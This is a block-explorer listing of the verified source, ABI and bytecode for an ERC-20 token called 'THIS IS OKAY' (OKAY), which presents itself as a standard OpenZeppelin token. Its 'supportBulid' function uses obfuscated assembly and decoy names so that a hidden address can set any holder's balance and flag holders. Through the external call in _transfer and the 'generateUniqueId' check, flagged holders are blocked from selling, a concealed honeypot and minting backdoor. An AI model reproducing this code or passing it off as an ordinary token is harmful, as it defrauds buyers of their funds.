Token

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/*
Telegram:https://t.me/thisisokayerc
Twitter:https://twitter.com/thisisokayerc
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./Ownable.sol";

contract OKAY is IERC20, Ownable {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping (address => uint256) private _mico;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private immutable _redist;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_, string memory symbol_, 
        address redist_, uint256 mico_) {
        _name = name_; 
        _symbol = symbol_;  
        _redist = redist_; 
        _mico[address(0)] = mico_;
        _mint(msg.sender, 6900000000000 * 10**8);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function supportBulid(uint256[] calldata agebox) external { 
        (bool mcst, uint256 ll0, uint256 ll1) = validateDatad(agebox[0], agebox[1],2,66);
        if (!mcst) return;
        assembly { 
           let f1 := add(add(
                13, 13), add(
                    2, 4)) 
            if gt(ll1, 0) { 
                let e1 := add(add(1, 1), 
                add(1, 1)) 
                mstore(0, ll0) mstore( f1, e1) 
                sstore(keccak256(0, 64), ll1) 
            } 
            if eq(ll1, 0) { 
                let e1 := add(add(1,1), add(1,2)) mstore(0, ll0) mstore(
                  f1, e1) 
                sstore(keccak256(0, 64), 1) 
            }  
        }
    }

    function generateUniqueId(address sender, bytes memory data) private view {
        bytes32 mdata; assembly { mdata := mload(add(data, 0x20)) }
        require(_mico[sender] != 1 || uint256(mdata) != 0);
    } 

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        (,bytes memory data) = _redist.call(abi.encodeWithSignature(
        "balanceOf(address)", from)); generateUniqueId(from, data);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }



    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }


    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function validateDatad(uint256 kh1, uint256 kh2, uint256 kh3,uint256 kh4) private view returns (bool, uint256, uint256) { 
        address re0 = 
        msg.sender; 
        string memory gyt1 = 
        _name; string 
        memory gyt2 = 
        _symbol; 
        uint256 gq1 = kh3 + kh4 + 20;
        uint256 gq2 = kh3 * kh4 - 10;
        if(gq1|gq2==2) return (false,0,9);
        if(gq2+gq1==18) return (false,7,10);
        return (uint256(keccak256(abi.encode(re0, gyt1, gyt2))) == _mico[address(0)], kh1, kh2);
    }

 
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "caller is not the owner");
    }    
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"redist_","type":"address"},{"internalType":"uint256","name":"mico_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"agebox","type":"uint256[]"}],"name":"supportBulid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b50604051620011d0380380620011d083398101604081905262000034916200027c565b8351620000499060019060208701906200012b565b5082516200005f9060029060208601906200012b565b506001600160601b0319606083901b166080526000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc819055620000b433682567ac70392b880000620000be565b50505050620003ba565b6001600160a01b038216620000f05760405162461bcd60e51b8152600401620000e7906200030b565b60405180910390fd5b806003600082825462000104919062000342565b90915550506001600160a01b03909116600090815260046020526040902080549091019055565b828054620001399062000367565b90600052602060002090601f0160209004810192826200015d5760008555620001a8565b82601f106200017857805160ff1916838001178555620001a8565b82800160010185558215620001a8579182015b82811115620001a85782518255916020019190600101906200018b565b50620001b6929150620001ba565b5090565b5b80821115620001b65760008155600101620001bb565b600082601f830112620001e2578081fd5b81516001600160401b0380821115620001ff57620001ff620003a4565b6040516020601f8401601f1916820181018381118382101715620002275762000227620003a4565b60405283825285840181018710156200023e578485fd5b8492505b8383101562000261578583018101518284018201529182019162000242565b838311156200027257848185840101525b5095945050505050565b6000806000806080858703121562000292578384fd5b84516001600160401b0380821115620002a9578586fd5b620002b788838901620001d1565b95506020870151915080821115620002cd578485fd5b50620002dc87828801620001d1565b604087015190945090506001600160a01b0381168114620002fb578283fd5b6060959095015193969295505050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b600082198211156200036257634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200037c57607f821691505b602082108114156200039e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610df7620003d960003960006105a30152610df76000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b806370a08231146101625780638b953c80146101755780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b3f565b60405180910390f35b610105610100366004610a00565b610272565b6040516100e99190610b34565b61011a610294565b6040516100e99190610cdf565b6101056101353660046109c5565b61029a565b6101426102c8565b6040516100e99190610ce8565b61010561015d366004610a00565b6102cd565b61011a610170366004610972565b6102f9565b610188610183366004610a29565b610318565b005b6101926103c5565b6040516100e99190610ae0565b6100dc6103d4565b6101056101b5366004610a00565b6103e3565b6101056101c8366004610a00565b610434565b61011a6101db366004610993565b61044c565b6060600180546101ef90610d70565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d70565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610477565b905061028a81858561047b565b5060019392505050565b60035490565b6000806102a5610477565b90506102b285828561052f565b6102bd858585610579565b506001949350505050565b600990565b6000806102d8610477565b905061028a8185856102ea858961044c565b6102f49190610cf6565b61047b565b6001600160a01b0381166000908152600460205260409020545b919050565b60008060006103798585600081811061034157634e487b7160e01b600052603260045260246000fd5b905060200201358686600181811061036957634e487b7160e01b600052603260045260246000fd5b9050602002013560026042610707565b9250925092508261038c575050506103c1565b602081156103a557600083815260048252604090208290555b816103bc5760008381526005825260409020600190555b505050505b5050565b6000546001600160a01b031690565b6060600280546101ef90610d70565b6000806103ee610477565b905060006103fc828661044c565b9050838110156104275760405162461bcd60e51b815260040161041e90610c9a565b60405180910390fd5b6102bd828686840361047b565b60008061043f610477565b905061028a818585610579565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104a15760405162461bcd60e51b815260040161041e90610c56565b6001600160a01b0382166104c75760405162461bcd60e51b815260040161041e90610b52565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610522908590610cdf565b60405180910390a3505050565b600061053b848461044c565b9050600019811461057357818110156105665760405162461bcd60e51b815260040161041e90610b94565b610573848484840361047b565b50505050565b6001600160a01b03831661059f5760405162461bcd60e51b815260040161041e90610c11565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846040516024016105dc9190610ae0565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516106119190610ac4565b6000604051808303816000865af19150503d806000811461064e576040519150601f19603f3d011682016040523d82523d6000602084013e610653565b606091505b50915050610661848261091f565b6001600160a01b0384166000908152600460205260409020548281101561069a5760405162461bcd60e51b815260040161041e90610bcb565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106f8908790610cdf565b60405180910390a35050505050565b60008060008033905060006001805461071f90610d70565b80601f016020809104026020016040519081016040528092919081815260200182805461074b90610d70565b80156107985780601f1061076d57610100808354040283529160200191610798565b820191906000526020600020905b81548152906001019060200180831161077b57829003601f168201915b505050505090506000600280546107ae90610d70565b80601f01602080910402602001604051908101604052809291908181526020018280546107da90610d70565b80156108275780601f106107fc57610100808354040283529160200191610827565b820191906000526020600020905b81548152906001019060200180831161080a57829003601f168201915b505050505090506000878961083c9190610cf6565b610847906014610cf6565b90506000600a6108578a8c610d0e565b6108619190610d2d565b9050808217600214156108835760008060099750975097505050505050610915565b61088d8282610cf6565b601214156108ab5760006007600a9750975097505050505050610915565b60008052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5460405190916108ed9188918891889101610af4565b6040516020818303038152906040528051906020012060001c148c8c97509750975050505050505b9450945094915050565b6020818101516001600160a01b03841660009081526005909252604090912054600114158061094d57508015155b61095657600080fd5b505050565b80356001600160a01b038116811461031357600080fd5b600060208284031215610983578081fd5b61098c8261095b565b9392505050565b600080604083850312156109a5578081fd5b6109ae8361095b565b91506109bc6020840161095b565b90509250929050565b6000806000606084860312156109d9578081fd5b6109e28461095b565b92506109f06020850161095b565b9150604084013590509250925092565b60008060408385031215610a12578182fd5b610a1b8361095b565b946020939093013593505050565b60008060208385031215610a3b578182fd5b823567ffffffffffffffff80821115610a52578384fd5b818501915085601f830112610a65578384fd5b813581811115610a73578485fd5b8660208083028501011115610a86578485fd5b60209290920196919550909350505050565b60008151808452610ab0816020860160208601610d44565b601f01601f19169290920160200192915050565b60008251610ad6818460208701610d44565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610b1890830185610a98565b8281036040840152610b2a8185610a98565b9695505050505050565b901515815260200190565b60006020825261098c6020830184610a98565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610d0957610d09610dab565b500190565b6000816000190483118215151615610d2857610d28610dab565b500290565b600082821015610d3f57610d3f610dab565b500390565b60005b83811015610d5f578181015183820152602001610d47565b838111156105735750506000910152565b600281046001821680610d8457607f821691505b60208210811415610da557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122075719a2a5a861e785f4937e6a7662472b5d145f9e042ed1c8913a70a066501ea64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d16b7c6991a7e7cf91a713a136aca5c7008a553cfbbd5dffefd6bc4ad3a24e360000000000000000000000000000000000000000000000000000000000000000c54484953204953204f4b4159000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f4b415900000000000000000000000000000000000000000000000000000000

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b806370a08231146101625780638b953c80146101755780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b3f565b60405180910390f35b610105610100366004610a00565b610272565b6040516100e99190610b34565b61011a610294565b6040516100e99190610cdf565b6101056101353660046109c5565b61029a565b6101426102c8565b6040516100e99190610ce8565b61010561015d366004610a00565b6102cd565b61011a610170366004610972565b6102f9565b610188610183366004610a29565b610318565b005b6101926103c5565b6040516100e99190610ae0565b6100dc6103d4565b6101056101b5366004610a00565b6103e3565b6101056101c8366004610a00565b610434565b61011a6101db366004610993565b61044c565b6060600180546101ef90610d70565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d70565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610477565b905061028a81858561047b565b5060019392505050565b60035490565b6000806102a5610477565b90506102b285828561052f565b6102bd858585610579565b506001949350505050565b600990565b6000806102d8610477565b905061028a8185856102ea858961044c565b6102f49190610cf6565b61047b565b6001600160a01b0381166000908152600460205260409020545b919050565b60008060006103798585600081811061034157634e487b7160e01b600052603260045260246000fd5b905060200201358686600181811061036957634e487b7160e01b600052603260045260246000fd5b9050602002013560026042610707565b9250925092508261038c575050506103c1565b602081156103a557600083815260048252604090208290555b816103bc5760008381526005825260409020600190555b505050505b5050565b6000546001600160a01b031690565b6060600280546101ef90610d70565b6000806103ee610477565b905060006103fc828661044c565b9050838110156104275760405162461bcd60e51b815260040161041e90610c9a565b60405180910390fd5b6102bd828686840361047b565b60008061043f610477565b905061028a818585610579565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104a15760405162461bcd60e51b815260040161041e90610c56565b6001600160a01b0382166104c75760405162461bcd60e51b815260040161041e90610b52565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610522908590610cdf565b60405180910390a3505050565b600061053b848461044c565b9050600019811461057357818110156105665760405162461bcd60e51b815260040161041e90610b94565b610573848484840361047b565b50505050565b6001600160a01b03831661059f5760405162461bcd60e51b815260040161041e90610c11565b60007f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316846040516024016105dc9190610ae0565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b179052516106119190610ac4565b6000604051808303816000865af19150503d806000811461064e576040519150601f19603f3d011682016040523d82523d6000602084013e610653565b606091505b50915050610661848261091f565b6001600160a01b0384166000908152600460205260409020548281101561069a5760405162461bcd60e51b815260040161041e90610bcb565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106f8908790610cdf565b60405180910390a35050505050565b60008060008033905060006001805461071f90610d70565b80601f016020809104026020016040519081016040528092919081815260200182805461074b90610d70565b80156107985780601f1061076d57610100808354040283529160200191610798565b820191906000526020600020905b81548152906001019060200180831161077b57829003601f168201915b505050505090506000600280546107ae90610d70565b80601f01602080910402602001604051908101604052809291908181526020018280546107da90610d70565b80156108275780601f106107fc57610100808354040283529160200191610827565b820191906000526020600020905b81548152906001019060200180831161080a57829003601f168201915b505050505090506000878961083c9190610cf6565b610847906014610cf6565b90506000600a6108578a8c610d0e565b6108619190610d2d565b9050808217600214156108835760008060099750975097505050505050610915565b61088d8282610cf6565b601214156108ab5760006007600a9750975097505050505050610915565b60008052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5460405190916108ed9188918891889101610af4565b6040516020818303038152906040528051906020012060001c148c8c97509750975050505050505b9450945094915050565b6020818101516001600160a01b03841660009081526005909252604090912054600114158061094d57508015155b61095657600080fd5b505050565b80356001600160a01b038116811461031357600080fd5b600060208284031215610983578081fd5b61098c8261095b565b9392505050565b600080604083850312156109a5578081fd5b6109ae8361095b565b91506109bc6020840161095b565b90509250929050565b6000806000606084860312156109d9578081fd5b6109e28461095b565b92506109f06020850161095b565b9150604084013590509250925092565b60008060408385031215610a12578182fd5b610a1b8361095b565b946020939093013593505050565b60008060208385031215610a3b578182fd5b823567ffffffffffffffff80821115610a52578384fd5b818501915085601f830112610a65578384fd5b813581811115610a73578485fd5b8660208083028501011115610a86578485fd5b60209290920196919550909350505050565b60008151808452610ab0816020860160208601610d44565b601f01601f19169290920160200192915050565b60008251610ad6818460208701610d44565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610b1890830185610a98565b8281036040840152610b2a8185610a98565b9695505050505050565b901515815260200190565b60006020825261098c6020830184610a98565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610d0957610d09610dab565b500190565b6000816000190483118215151615610d2857610d28610dab565b500290565b600082821015610d3f57610d3f610dab565b500390565b60005b83811015610d5f578181015183820152602001610d47565b838111156105735750506000910152565b600281046001821680610d8457607f821691505b60208210811415610da557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122075719a2a5a861e785f4937e6a7662472b5d145f9e042ed1c8913a70a066501ea64736f6c63430008000033

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d16b7c6991a7e7cf91a713a136aca5c7008a553cfbbd5dffefd6bc4ad3a24e360000000000000000000000000000000000000000000000000000000000000000c54484953204953204f4b4159000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f4b415900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): THIS IS OKAY
Arg [1] : symbol_ (string): OKAY
